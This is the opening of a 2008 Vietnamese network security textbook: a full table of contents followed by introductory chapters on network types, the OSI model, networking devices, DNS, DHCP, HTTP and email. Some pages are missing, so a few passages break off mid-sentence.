Cơ sở lý thuyết về
BẢO MẬT MẠNG
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
2
MỤC LỤC
PHẦN 1: TỔNG QUAN AN NINH MẠNG....................................................... 12
CHƯƠNG 1: TỔNG QUAN VỀ MẠNG MÁY TÍNH ....................................... 13
1. Khái niệm ....................................................................................................... 13
2. Phân loại mạng máy tính ................................................................................. 13
2.1. Mạng quảng bá (broadcast network): ....................................................... 13
2.2. Mạng điểm nối điểm (point-to-point network): ....................................... 13
2.3. LAN .......................................................................................................... 14
2.4. MAN ......................................................................................................... 15
2.5. WAN ........................................................................................................ 15
2.6. Mạng không dây ....................................................................................... 17
2.7. Liên mạng ................................................................................................. 17
3. Mô hình tham chiếu OSI ................................................................................. 17
4. Các thiết bị mạng cơ bản ................................................................................. 21
5. Các dịch vụ mạng ............................................................................................ 23
5.1. Hệ thống tên miền DNS .......................................................................... 23
5.2. Dịch vụ DHCP ........................................................................................ 27
5.3. Dịch vụ Web (HTTP) .............................................................................. 29
5.4. Dịch vụ truyền tệp tin FTP ...................................................................... 30
5.5. Dịch vụ thư điện tử .................................................................................. 30
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
3
CHƯƠNG 2: GIỚI THIỆU VỀ AAA .................................................................. 33
1. Khái niệm: ....................................................................................................... 33
2. Kiểm soát truy cập (Access Control) .............................................................. 33
2.1. Khái niệm ................................................................................................. 33
2.2. Các phương pháp kiểm soát truy cập ....................................................... 33
3. Xác thực truy cập (Authentication) ................................................................. 35
3.1. Khái niệm ................................................................................................. 35
3.2. Kerberos ................................................................................................... 35
3.3. Xác thực dựa trên username/password .................................................... 39
3.4. CHAP (Challenge Handshake Authentication Protocol) ......................... 39
3.5. TOKEN .................................................................................................... 40
3.6. Chứng chỉ số (Certificates) ...................................................................... 40
3.7. Sinh trắc học (Biometrics) ....................................................................... 43
3.8. Xác thực kết hợp nhiều nhân tố (Multi-Factor) ....................................... 43
3.9. Xác thực lẫn nhau (Mutual Authentication) ............................................ 44
4. Giám sát thống kê (Accounting) ..................................................................... 44
PHẦN 2: AN NINH HẠ TẦNG .......................................................................... 45
CHƯƠNG 1: MÔ HÌNH MẠNG BẢO MẬT ..................................................... 46
1. Lời mở đầu ...................................................................................................... 46
2. Phân đoạn mạng (Segmentation) .................................................................... 46
3. Các điểm truy cập (Network Access Points) .................................................. 47
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
4
4. Router và Switch ............................................................................................. 48
5. Tường lửa ........................................................................................................ 48
6. Thiết bị phát hiện/ngăn chặn xâm nhập .......................................................... 49
7. Truy cập từ xa (Remote Access) ..................................................................... 50
8. Security Event Management (Thiết bị quản lý sự kiện tập trung) .................. 51
9. Hệ thống dò tìm điểm yếu (Vulnerability Management) ................................ 51
CHƯƠNG 2: TƯỜNG LỬA ................................................................................ 53
1. Khái niệm ........................................................................................................ 53
2. Các công nghệ tường lửa ................................................................................. 53
2.1. Packet Filtering (lọc gói tin) .................................................................... 53
2.2. Application Filtering (lọc ứng dụng) ....................................................... 56
2.3. Stateful Inspection Firewall ..................................................................... 57
CHƯƠNG 3: THIẾT BỊ PHÁT HIỆN/NGĂN CHẶN XÂM NHẬP ............... 59
1. Khái niệm ........................................................................................................ 59
2. Các loại IDS/IPS ............................................................................................. 60
2.1. Phân loại theo phạm vi hoạt động ............................................................ 60
2.2. Phân loại theo nguyên lý hoạt động của IDS/IPS .................................... 62
CHƯƠNG 4. MẠNG RIÊNG ẢO ........................................................................ 64
1. Khái niệm ........................................................................................................ 64
2. Các loại VPN ................................................................................................... 65
2.1. VPN truy cập từ xa ................................................................................... 65
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
5
2.2. VPN điểm-nối-điểm ................................................................................. 65
CHƯƠNG 5. VLAN .............................................................................................. 67
1. Khái niệm ........................................................................................................ 67
2. Ứng dụng của VLAN ...................................................................................... 67
2.1. Tiết kiệm chi phí ...................................................................................... 67
2.2. Tiết kiệm băng thông của hệ thống mạng ................................................ 68
2.3. Tăng khả năng bảo mật ............................................................................ 68
2.4. Dễ dàng thêm hay bớt máy tính vào VLAN ............................................ 68
2.5. Giúp mạng có tính linh động cao ............................................................. 68
CHƯƠNG 6. NETWORK ADDRESS TRANSLATION .................................. 69
1. Khái niệm ........................................................................................................ 69
2. Phân loại NAT ................................................................................................. 69
2.1. Static NAT (NAT tĩnh) ............................................................................ 69
2.2. Dynamic NAT hay Pooled NAT (NAT động) ......................................... 70
2.3. Port Address Translation (PAT) .............................................................. 70
CHƯƠNG 7. AN NINH TRUYỀN DẪN VÀ LƯU TRỮ .................................. 72
1. Cáp đồng trục .................................................................................................. 72
2. Cáp UTP/STP .................................................................................................. 73
3. Cáp Quang ....................................................................................................... 73
4. Các thiết bị lưu trữ........................................................................................... 75
CHƯƠNG 8. CHÍNH SÁCH AN NINH MẠNG ................................................ 76
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
6
1. Khái niệm ........................................................................................................ 76
2. Các thành phần của một chính sách an ninh mạng ......................................... 77
CHƯƠNG 9. CÁC NGUYÊN TẮC CƠ BẢN .................................................... 80
PHẦN 3: MÃ HÓA .............................................................................................. 81
CHƯƠNG 1. CĂN BẢN VỀ MÃ HÓA ............................................................... 83
CHƯƠNG 2. CÁC THUẬT TOÁN MÃ HÓA ................................................... 85
1. Khái niệm ........................................................................................................ 85
2. Phân loại các thuật toán mã hoá ...................................................................... 86
2.1. Mã hóa cổ điển ......................................................................................... 86
2.2. Mã hóa đối xứng ...................................................................................... 87
2.3. Mã hóa bất đối xứng................................................................................. 90
2.4. Mã hóa hàm băm (Hash Function) ........................................................... 92
2.5. Chữ ký điện tử .......................................................................................... 93
CHƯƠNG 3. HẠ TẦNG KHÓA CÔNG KHAI PKI ......................................... 97
1. Tổng quan về PKI ........................................................................................... 97
2. Các thành phần và hoạt động của PKI ............................................................ 97
3. Một số hệ thống PKI ..................................................................................... 100
4. Kết luận ......................................................................................................... 101
CHƯƠNG 4. TIÊU CHUẨN VÀ CÁC GIAO THỨC ..................................... 102
1. Tiêu chuẩn mã hóa ........................................................................................ 102
2. Các giao thức mã hóa ................................................................................... 102
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
7
2.1. Khái niệm ............................................................................................... 102
2.2. Các giao thức mã hóa phổ biến .............................................................. 103
PHẦN 4: AN NINH ỨNG DỤNG ..................................................................... 109
CHƯƠNG 1: AN NINH TRONG TRUY CẬP TỪ XA ................................... 110
1. 802.1x ........................................................................................................... 110
1.1. Những vấn đề an ninh của mạng không dây .......................................... 111
1.2. Các biện pháp bảo mật cho WLAN ....................................................... 111
2. Virtual Private Network ................................................................................ 111
3. RADIUS ........................................................................................................ 112
3.1. Khái niệm ............................................................................................... 112
3.2. Quá trình chứng thực của RADIUS ....................................................... 113
4. PPTP/L2TP .................................................................................................... 114
4.1. PPTP ....................................................................................................... 115
4.2. L2TP ....................................................................................................... 115
4.3. Những điểm khác biệt chính giữa PPTP và L2TP ................................. 115
5. SSH ................................................................................................................ 116
5.1. Khái niệm ............................................................................................... 116
5.2. Hoạt động của SSH ................................................................................ 116
6. IPSEC ............................................................................................................ 117
7. Tóm tắt nội dung chương .............................................................................. 118
CHƯƠNG 2: AN NINH WEB ............................................................................ 119
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
8
1. Khái niệm ứng dụng Web ............................................................................. 119
2. Hoạt động của một ứng dụng Web ............................................................... 120
3. Tổng quan về các kỹ thuật tấn công ứng dụng Web ..................................... 121
2.1. Kiểm soát truy cập Web (Web Access Control) .................................... 121
2.2. Chiếm hữu phiên làm việc (Session Management) ............................... 121
2.3. Lợi dụng những lỗ hổng trong việc kiểm tra dữ liệu hợp lệ (Input
Validation) ..................................................................................................... 122
2.4. Để lộ thông tin (Informational) .............................................................. 123
2.5. Tấn công từ chối dịch vụ ........................................................................ 124
4. Các kỹ thuật tấn công phổ biến ..................................................................... 124
4.1. Thao tác trên tham số truyền .................................................................. 124
4.2. Cross Site Scripting ................................................................................ 129
4.3. SQL Injection ......................................................................................... 131
5. Các biện pháp phòng chống chung ............................................................... 135
5.1. Đối với người quản trị hệ thống ............................................................. 135
5.2. Đối với người lập trình Web .................................................................. 136
5.3. Đối với người sử dụng ........................................................................... 137
CHƯƠNG 3: THƯ ĐIỆN TỬ VÀ CÁC VẤN ĐỀ AN NINH ......................... 138
1. Khái niệm ...................................................................................................... 138
2. Giao thức MIME ........................................................................................... 138
3. Giao thức bảo mật S/MIME .......................................................................... 139
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
9
4. Phần mềm PGP.............................................................................................. 139
5. Những vấn đề an ninh với thư điện tử .......................................................... 139
5.1. SMTP Relay ........................................................................................... 140
5.2. Vấn đề đối với Virus .............................................................................. 141
5.3. SPAM ..................................................................................................... 141
CHƯƠNG 4: BUFFER OVERFLOWS ............................................................ 149
1. Khái niệm ...................................................................................................... 149
2. Chống tràn bộ đệm ........................................................................................ 150
2.1. Lựa chọn ngôn ngữ lập trình .................................................................. 150
2.2. Sử dụng các thư viện an toàn ................................................................. 151
2.3. Chống tràn bộ nhớ đệm trên stack ......................................................... 152
2.4. Bảo vệ không gian thực thi .................................................................... 152
2.5. Ngẫu nhiên hóa sơ đồ không gian địa chỉ .............................................. 153
2.6. Kiểm tra sâu đối với gói tin .................................................................... 153
2.7. Thường xuyên cập nhật, cài đặt các bản vá lỗi. ..................................... 153
2.8. Đánh giá mức độ an toàn của chương trình phần mềm ......................... 153
CHƯƠNG 5: AN NINH ỨNG DỤNG – NHỮNG NGUYÊN TẮC CƠ BẢN 154
PHẦN 5: CÔNG CỤ BẢO MẬT MẠNG ......................................................... 156
Yêu cầu kiến thức ................................................................................................ 156
CHƯƠNG 1. KIỂM TRA KẾT NỐI TRÊN MÁY TÍNH ............................... 157
1. Công cụ NETSTAT ....................................................................................... 157
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
10
2. Phần mềm TCPView ..................................................................................... 158
CHƯƠNG 2. QUÉT CỔNG ............................................................................... 161
1. Công cụ SuperScan ....................................................................................... 161
2. Network Mapper (NMAP) ............................................................................ 164
CHƯƠNG 3. PHÂN TÍCH DỮ LIỆU MẠNG ................................................. 171
1. Phần mềm Ethereal........................................................................................ 171
2. Microsoft Network Monitor .......................................................................... 178
CHƯƠNG 4. QUÉT LỖ HỔNG MÁY TÍNH ................................................. 183
1. Microsoft Baseline Security Analyzer .......................................................... 183
2. GFI LanGuard Network Security Scanner .................................................... 187
PHẦN 6: CASE-STUDY .................................................................................... 195
Case-Study 1 ........................................................................................................ 196
Case-study 2 ......................................................................................................... 197
Case-Study 3 ........................................................................................................ 198
Case-Study 4 ........................................................................................................ 199
PHẦN 7: TÀI LIỆU THAM KHẢO ................................................................ 200
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
11
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
12
PHẦN 1
TỔNG QUAN AN NINH MẠNG
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
13
CHƯƠNG 1: TỔNG QUAN VỀ MẠNG MÁY TÍNH
1. Khái niệm
Về cơ bản, một mạng máy tính là một nhóm máy tính nối nhau với nhau theo một
số cách sao cho người ta có thể chia se thông tin và thiết bị. Các máy tính có thể
kết nối trong cung một phòng, một tòa nhà, một thành phố, hay quanh thế giới.
Qui mô một mạng máy tính có tính mở, có thể chỉ bao gồm hai máy tính, nhưng
cũng có thể là hàng triệu chiếc.
Nếu nối hai máy tính ở nhà, ta đã tạo ra một mạng. Tất cả máy tính trong một
trường học hay thư viện hoặc công ty được nối với nhau tạo thành mạng lớn hơn.
Mạng máy tính lớn nhất thế giới là Internet, có hàng triệu máy tính trên khắp toàn
cầu được nối với nhau, và số máy tính kết nối vào mạng Internet ngày càng gia
tăng nhanh chóng theo tốc độ phát triển của các mạng viễn thông và kiến thức về
tin học của cộng đồng dân cư.
2. Phân loại mạng máy tính
Trong kỹ thuật mạng, việc quan trọng nhất là vận chuyển dữ liệu giữa các máy.
Nói chung sẽ có hai phương thức là:
2.1. Mạng quảng bá (broadcast network): bao gồm một kênh truyền thông
được chia se cho mọi máy trong mạng. Mẫu thông tin ngắn gọi là gói (packet)
được gửi ra bởi một máy bất kỳ thì sẽ tới được tất cả máy khác. Trong gói sẽ có
một phần ghi địa chỉ gói đó muốn gửi tới. Khi nhận các gói, mỗi máy sẽ kiểm tra
lại phần địa chỉ này. Nếu một gói là dành cho đúng máy đang kiểm tra thì sẽ đưọc
xử lý tiếp, bằng không thì bỏ qua.
2.2. Mạng điểm nối điểm (point-to-point network): bao gồm nhiều mối nối
giữa các cặp máy tính với nhau. Để chuyển từ nguồn tới đích, một gói có thể phải
đi qua các máy trung gian. Thường thì có thể có nhiều đường di chuyển có độ dài
khác nhau (từ máy nguồn tới máy đích với số lượng máy trung gian khác nhau).
Thuật toán để định tuyến đường truyền giữ vai trò quan trọng trong kỹ thuật này.
Dưới đây là đối tượng chính của phần cứng mạng:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
14
2.3. LAN
LAN (local area network), hay còn gọi là "mạng cục bộ", là mạng tư nhân trong
một toà nhà, một khu vực (trường học hay cơ quan chẳng hạn) có cỡ chừng vài km.
Chúng nối các máy chủ và các máy trạm trong các văn phòng và nhà máy để chia
se tài nguyên và trao đổi thông tin. LAN có 3 đặc điểm:
Giới hạn về tầm cỡ phạm vi hoạt động từ vài mét cho đến 1 km.
Thường dung kỹ thuật đơn giản chỉ có một đường dây cáp (cable) nối tất cả máy.
Vận tốc truyền dữ liệu thông thường là 10 Mbps, 100 Mbps, 1 Gbps, và gần đây là
10 Gbps.
Các kiến trúc mạng kiểu LAN thông dụng bao gồm:
Mạng bus hay mạng tuyến tính. Các máy nối nhau một cách liên tục thành một
hàng từ máy này sang máy kia. Ví dụ của nó là Ethernet (chuẩn IEEE 802.3).
Mạng vòng. Các máy nối nhau như trên và máy cuối lại được nối ngược trở lại với
máy đầu tiên tạo thành vòng kín. Thí dụ mạng vòng the bài IBM (IBM token ring).
Mạng sao.
Mạng tuyến tính và mạng vòng trong LAN
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
18
Chính vì những lý do đó mà các tổ chức quốc tế cần có những quy chuẩn chung
nào đó cho việc thiết kế và lắp đặt mạng. Trên thế giới hiện có một số cơ quan định
chuẩn, họ đưa ra hàng loạt chuẩn về mạng, tuy các chuẩn đó có tính chất khuyến
nghị chứ không bắt buộc nhưng chúng rất được các cơ quan chuẩn quốc gia coi
trọng. Hai trong số các cơ quan chuẩn quốc tế là:
ISO (The International Standards Organization) - Là tổ chức tiêu chuẩn quốc
tế hoạt động dưới sự bảo trợ của Liên hợp Quốc với thành viên là các cơ quan
chuẩn quốc gia với số lượng khoảng hơn 100 thành viên với mục đích hỗ trợ sự
phát triển các chuẩn trên phạm vi toàn thế giới.
CCITT (Commité Consultatif International pour le Telegraphe et la
Téléphone) - Tổ chức tư vấn quốc tế về điện tín và điện thoại làm việc dưới sự bảo
trợ của Liên Hiệp Quốc có trụ sở chính tại Geneva - Thụy sỹ. Các thành viên chủ
yếu là các cơ quan bưu chính viễn thông các quốc gia. Tổ chức này có vai trò phát
triển các khuyến nghị trong các lãnh vực viễn thông.
Mô hình OSI (Open system interconnection – Mô hình kết nối các hệ thống mở) là
một cơ sở dành cho việc chuẩn hoá các hệ thống truyền thông, nó được nghiên cứu
và xây dựng bởi ISO. Việc nghiên cứu về mô hình OSI được bắt đầu tại ISO vào
năm 1971 với mục tiêu nhằm tới việc nối kết các sản phẩm của các hãng sản xuất
khác nhau và phối hợp các hoạt động chuẩn hoá trong các lĩnh vực viễn thông và
hệ thống thông tin. Đến năm 1984, mô hình tham chiếu OSI chính thức được đưa
ra giới thiệu.
Trước hết cần chú ý rằng mô hình 7 lớp OSI chỉ là mô hình tham chiếu chứ không
phải là một mạng cụ thể nào.Các nhà thiết kế mạng sẽ nhìn vào đó để biết công
việc thiết kế của mình đang nằm ở đâu. Xuất phát từ ý tưởng “chia để trị’, khi một
công việc phức tạp được module hóa thành các phần nhỏ hơn thì sẽ tiện lợi cho
việc thực hiện và sửa sai, mô hình OSI chia chương trình truyền thông ra thành 7
tầng với những chức năng phân biệt cho từng tầng. Hai tầng đồng mức khi liên kết
với nhau phải sử dụng một giao thức chung. Giao thức ở đây có thể hiểu đơn giản
là phương tiện để các tầng có thể giao tiếp được với nhau, giống như hai người
muốn nói chuyện được thì cần có một ngôn ngữ chung vậy. Trong mô hình OSI có
hai loại giao thức chính được áp dụng là: giao thức có liên kết (connection -
oriented) và giao thức không liên kết (connectionless).
Giao thức có liên kết: là trước khi truyền, dữ liệu hai tầng đồng mức cần thiết lập
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
21
Tầng vật lý (Phisical layer – lớp 1): tầng vật lý cung cấp phương thức truy cập
vào đường truyền vật lý để truyền các dòng Bit không cấu trúc, ngoài ra nó cung
cấp các chuẩn về điện, dây cáp, đầu nối, kỹ thuật nối mạch điện, điện áp, tốc độ
cáp truyền dẫn, giao diện nối kết và các mức nối kết.
4. Các thiết bị mạng cơ bản
Để hệ thống mạng làm việc trơn tru, hiệu quả và khả năng kết nối tới những hệ
thống mạng khác đòi hỏi phải sử dụng những thiết bị mạng chuyên dụng. Những
thiết bị mạng này rất đa dạng và phong phú về chủng loại nhưng đều dựa trên
những thiết bị cơ bản là Repeater, Hub, Switch, Router và Gateway.
Repeater
Trong một mạng LAN, giới hạn của cáp mạng là 100m (cho loại cáp mạng CAT 5
UTP – là cáp được dung phổ biến nhất), bởi tín hiệu bị suy hao trên đường truyền
nên không thể đi xa hơn. Vì vậy, để có thể kết nối các thiết bị ở xa hơn, mạng cần
các thiết bị để khuếch đại và định thời lại tín hiệu, giúp tín hiệu có thể truyền dẫn
đi xa hơn giới hạn này. Repeater là một thiết bị ở lớp 1 (Physical Layer) trong mô
hình OSI. Repeater có vai trò khuếch đại tín hiệu vật lý ở đầu vào và cung cấp
năng lượng cho tín hiệu ở đầu ra để có thể đến được những chặng đường tiếp theo
trong mạng. Điện tín, điện thoại, truyền thông tin qua sợi quang… và các nhu cầu
truyền tín hiệu đi xa đều cần sử dụng Repeater.
Hub
Hub được coi là một Repeater có nhiều cổng. Một Hub có từ 4 đến 24 cổng và có
thể còn nhiều hơn. Trong phần lớn các trường hợp, Hub được sử dụng trong các
mạng 10BASE-T hay 100BASE-T. Khi cấu hình mạng là hình sao (Star topology),
Hub đóng vai trò là trung tâm của mạng. Với một Hub, khi thông tin vào từ một
cổng và sẽ được đưa đến tất cả các cổng khác. Hub có 2 loại là Active Hub và
Smart Hub. Active Hub là loại Hub được dung phổ biến, cần được cấp nguồn khi
hoạt động, được sử dụng để khuếch đại tín hiệu đến và cho tín hiệu ra những cổng
còn lại, đảm bảo mức tín hiệu cần thiết. Smart Hub (Intelligent Hub) có chức năng
tương tự như Active Hub, nhưng có tích hợp thêm chip có khả năng tự động dò lỗi
- rất hữu ích trong trường hợp dò tìm và phát hiện lỗi trong mạng.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
22
Bridge
Bridge là thiết bị mạng thuộc lớp 2 của mô hình OSI (Data Link Layer). Bridge
được sử dụng để ghép nối 2 mạng để tạo thành một mạng lớn duy nhất. Bridge
được sử dụng phổ biến để làm cầu nối giữa hai mạng Ethernet. Bridge quan sát các
gói tin (packet) trên mọi mạng. Khi thấy một gói tin từ một máy tính thuộc mạng
này chuyển tới một máy tính trên mạng khác, Bridge sẽ sao chép và gửi gói tin này
tới mạng đích. Ưu điểm của Bridge là hoạt động trong suốt, các máy tính thuộc các
mạng khác nhau vẫn có thể gửi các thông tin với nhau đơn giản mà không cần biết
có sự "can thiệp" của Bridge. Một Bridge có thể xử lý được nhiều lưu thông trên
mạng như Novell, Banyan... cũng như là địa chỉ IP cung một lúc. Nhược điểm của
Bridge là chỉ kết nối những mạng cung loại và sử dụng Bridge cho những mạng
hoạt động nhanh sẽ khó khăn nếu chúng không nằm gần nhau về mặt vật lý.
Switch
Switch đôi khi được mô tả như là một Bridge có nhiều cổng. Trong khi một Bridge
chỉ có 2 cổng để liên kết được 2 segment mạng với nhau, thì Switch lại có khả
năng kết nối được nhiều segment lại với nhau tuỳ thuộc vào số cổng (port) trên
Switch. Cũng giống như Bridge, Switch cũng "học" thông tin của mạng thông qua
các gói tin (packet) mà nó nhận được từ các máy trong mạng. Switch sử dụng các
thông tin này để xây dựng lên bảng Switch, bảng này cung cấp thông tin giúp các
gói thông tin đến đúng địa chỉ. Ngày nay, trong các giao tiếp dữ liệu, Switch
thường có 2 chức năng chính là chuyển các khung dữ liệu từ nguồn đến đích, và
xây dựng các bảng Switch. Switch hoạt động ở tốc độ cao hơn nhiều so với
Repeater và có thể cung cấp nhiều chức năng hơn như khả năng tạo mạng LAN ảo
(VLAN).
Router
Router là thiết bị mạng lớp 3 của mô hình OSI (Network Layer). Router kết nối hai
hay nhiều mạng IP với nhau. Các máy tính trên mạng phải "nhận thức" được sự
tham gia của một router, nhưng đối với các mạng IP thì một trong những quy tắc
của IP là mọi máy tính kết nối mạng đều có thể giao tiếp được với router.
Ưu điểm của Router: Về mặt vật lý, Router có thể kết nối với các loại mạng khác
lại với nhau, từ những Ethernet cục bộ tốc độ cao cho đến đường dây điện thoại
đường dài có tốc độ chậm.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
23
Nhược điểm của Router: Router chậm hơn Bridge vì chúng đòi hỏi nhiều tính toán
hơn để tìm ra cách dẫn đường cho các gói tin, đặc biệt khi các mạng kết nối với
nhau không cung tốc độ. Một mạng hoạt động nhanh có thể phát các gói tin nhanh
hơn nhiều so với một mạng chậm và có thể gây ra sự nghẽn mạng. Do đó, Router
có thể yêu cầu máy tính gửi các gói tin đến chậm hơn. Một vấn đề khác là các
Router có đặc điểm chuyên biệt theo giao thức - tức là, cách một máy tính kết nối
mạng giao tiếp với một router IP thì sẽ khác biệt với cách nó giao tiếp với một
router Novell hay DECnet. Hiện nay vấn đề này được giải quyết bởi một mạng biết
đường dẫn của mọi loại mạng được biết đến. Tất cả các router thương mại đều có
thể xử lý nhiều loại giao thức, thường với chi phí phụ thêm cho mỗi giao thức.
Gateway
Gateway cho phép nối ghép hai loại giao thức với nhau. Ví dụ: mạng của bạn sử
dụng giao thức IP và mạng của ai đó sử dụng giao thức IPX, Novell, DECnet,
SNA... hoặc một giao thức nào đó thì Gateway sẽ chuyển đổi từ loại giao thức này
sang loại khác.
Qua Gateway, các máy tính trong các mạng sử dụng các giao thức khác nhau có
thể dễ dàng "nói chuyện" được với nhau. Gateway không chỉ phân biệt các giao
thức mà còn còn có thể phân biệt ứng dụng như cách bạn chuyển thư điện tử từ
mạng này sang mạng khác, chuyển đổi một phiên làm việc từ xa...
5. Các dịch vụ mạng
5.1. Hệ thống tên miền DNS
5.1.1 Khái niệm:
DNS là từ viết tắt trong tiếng Anh của Domain Name System, là Hệ thống phân
giải tên được phát minh vào năm 1984 cho Internet, chỉ một hệ thống cho phép
thiết lập tương ứng giữa địa chỉ IP và tên miền.
Hệ thống tên miền bao gồm một loạt các cơ sở dữ liệu chứa địa chỉ IP và các tên
miền tương ứng cuả nó. Mỗi tên miền tương ứng với một địa chỉ bằng số cụ thể.
Hệ thống tên miền trên mạng Internet có nhiệm vụ chuyển đổi tên miền sang địa
chỉ IP và ngược lại từ địa chỉ IP sang tên miền. Trong những ngày đầu tiên của
mạng Internet, tất cả các tên máy và địa chỉ IP tương ứng của chúng được lưu giữ
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
26
· Mỗi tên miền được có tối đa 63 ký tự bao gồm cả dấu “.”. § Tên miền được đặt
bằng các ký tự (a-z A-Z 0-9) và ký tự “-“.
· Một tên miền đầy đủ có chiều dài không vượt quá 255 ký tự.
5.1.5. Định nghĩa máy chủ tên miền (name server)
Máy chủ tên miền (name server) là máy chủ chứa cơ sở dữ liệu dung cho việc
chuyển đổi giữa tên miền và địa chỉ IP. Như cách phân cấp của hệ thống tên miền,
tương ứng với mỗi cấp và mỗi loại tên miền có máy chủ tên miền phục vụ tên miền
ở cấp đó và loại tên miền đó. Máy chủ tên miền ở mức root sẽ chứa cơ sở dữ liệu
quản lý tên miền ở mức top-level-domain. Ở mức quốc gia sẽ có máy chủ tên miền
quản lý domain ở mức quốc gia.
5.1.6. Hoạt động của hệ thống DNS.
Giả sử người sử dụng muốn truy cập vào trang web có địa chỉ là
www.myexample.com.vn
1. Trước hết chương trình trên máy người sử dụng gửi yêu cầu tìm kiếm địa chỉ IP
ứng với tên miền www.myexample.com.vn tới máy chủ quản lý tên miền (name
server) cục bộ thuộc mạng của nó.
Máy chủ tên miền cục bộ này kiểm tra trong cơ sở dữ liệu của nó có chứa cơ sở dữ
liệu chuyển đổi từ tên miền sang địa chỉ IP của tên miền mà người sử dụng yêu cầu
không. Trong trường hợp máy chủ tên miền cục bộ có cơ sở dữ liệu này, nó sẽ gửi
trả lại địa chỉ IP của máy có tên miền nói trên.
2. Trong trường hợp máy chủ tên miền cục bộ không có cơ sở dữ liệu về tên miền
này nó sẽ hỏi lên các máy chủ tên miền ở mức cao nhất ( máy chủ tên miền làm
việc ở mức root). Máy chủ tên miền ở mức root này sẽ chỉ cho máy chủ tên miền
cục bộ địa chỉ của máy chủ tên miền quản lý các tên miền có đuôi .vn.
3. Máy chủ tên miền cục bộ gửi yêu cầu đến máy chủ quản lý tên miền có đuôi
(.vn) tìm tên miền www.myexample.com.vn Máy chủ tên miền quản lý các tên
miền.vn sẽ gửi lại địa chỉ của máy chủ quản lý tên miền fpt.vn.
4. Máy chủ tên miền cục bộ sẽ hỏi máy chủ quản lý tên miền fpt.vn này địa chỉ IP
của tên miền www.myexample.com.vn. Do máy chủ quản lý tên miền fpt.vn có cơ
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
27
sở dữ liệu về tên miền www.myexample.com.vn nên địa chỉ IP của tên miền này sẽ
được gửi trả lại cho máy chủ tên miền cục bộ.
Cơ chế hoạt động của hệ thống DNS
5. Máy chủ tên miền cục bộ chuyển thông tin tìm được đến máy của người sử
dụng.
6. Người sử dụng dung địa chỉ IP này để kết nối đến server chứa trang web có địa
chỉ www.myexample.com.vn
5.2. Dịch vụ DHCP
5.2.1. Khái niệm:
Dynamic Host Configuration Protocol (DHCP) là một dịch vụ cho phép đơn giản
hóa việc quản lý cũng như cấu hình địa chỉ IP. Các máy tính đóng vai trò máy chủ
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
29
Các máy chủ DHCP nhận được yêu cầu sẽ trả lời bằng gói tin quảng bá DHCP
OFFER. Máy trạm sẽ nhận các câu trả lời đó và chọn
một.
Máy trạm gửi tiếp một bản tin quảng bá DHCP
REQUEST đến máy chủ DHCP được chọn để yêu cầu
cấp địa chỉ IP.
Máy chủ DHCP được chọn sẽ trả lời yêu cầu đó bằng
gói tin DHCP ACK trong đó chứa các thông tin về
thời gian được giữ địa chỉ IP (lease duration) và các
thông số cần thiết khác.
Hoàn tất quá trình cấp phát địa chỉ IP. Máy trạm chỉ
giải phóng địa chỉ IP khi không hoạt động trong mạng nữa hoặc hết thời gian được
giữ (lease duration).
5.3. Dịch vụ Web (HTTP)
HyperText Transfer Protocol viết tắt là HTTP dịch sang tiếng Việt là Giao Thức
Truyền Siêu Văn Bản. Nó là giao thức cơ bản mà World Wide Web sử dụng.
HTTP xác định cách các thông điệp (các file văn bản, hình ảnh đồ hoạ, âm thanh,
video, và các file multimedia khác) được định dạng và truyền tải ra sao, và những
hành động nào mà các Web server (máy chủ Web) và các trình duyệt Web
(browser) phải làm để đáp ứng các lệnh rất đa dạng. Chẳng hạn, khi bạn gõ một địa
chỉ Web URL vào trình duyệt Web, một lệnh HTTP sẽ được gửi tới Web server để
ra lệnh và hướng dẫn nó tìm đúng trang Web được yêu cầu và kéo về mở trên trình
duyệt Web. Nói nôm na hơn, HTTP là giao thức truyền tải các file từ một Web
server vào một trình duyệt Web để người dùng có thể xem một trang Web đang
hiện diện trên Internet.HTTP là một giao thức ứng dụng của bộ giao thức TCP/IP
(các giao thức nền tảng cho Internet).
Có một tiêu chuẩn chính khác cũng điều khiển cách thức World Wide Web làm
việc là HTML (HyperText Markup Language, ngôn ngữ đánh dấu siêu văn bản),
có chức năng quản lý cách thức mà các trang Web được định dạng và hiển thị.
Người ta gọi HTTP là một giao thức “phi trạng thái” (stateless) bởi vì mỗi lệnh đều
được thực thi một cách độc lập, lệnh sau không biết bất cứ điều gì về các lệnh đã
đến trước mình. Đây chính là một hạn chế, khiếm khuyết của HTTP. Nó là nguyên
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
31
Email là một phương tiện thông tin rất nhanh. Một mẫu thông tin (thư từ) có thể
được gửi đi ở dạng mã hoá hay dạng thông thường và được chuyển qua các mạng
máy tính đặc biệt là mạng Internet. Nó có thể chuyển mẫu thông tin từ một máy
nguồn tới một hay rất nhiều máy nhận trong cùng lúc.
Ngày nay, email chẳng những có thể truyền gửi được chữ, nó còn có thể truyền
được các dạng thông tin khác như hình ảnh, âm thanh, phim, và đặc biệt các phần
mềm thư điện tử kiểu mới còn có thể hiển thị các email dạng sống động tương
thích với kiểu tệp HTML.
5.5.2. Các thành phần của một hệ thống thư điện tử
Một hệ thống email thường gồm 3 thành phần chính: Phần mềm thư điện tử (Client
Agent), máy chủ Mail (Mail Server) và các giao thức mà các thành phần này dung
để giao tiếp với nhau.
Phần mềm thư điện tử (email software) là loại phần mềm nhằm hỗ trợ cho người
dung việc chuyển và nhận các mẫu thông tin (thường là dạng chữ). Thông tin có
thể đưa vào phần mềm thư điện tử bằng cách thông dụng nhất là gõ chữ bàn phím
hay cách phương cách khác ít dung hơn như là dung máy quét hình (scanner),
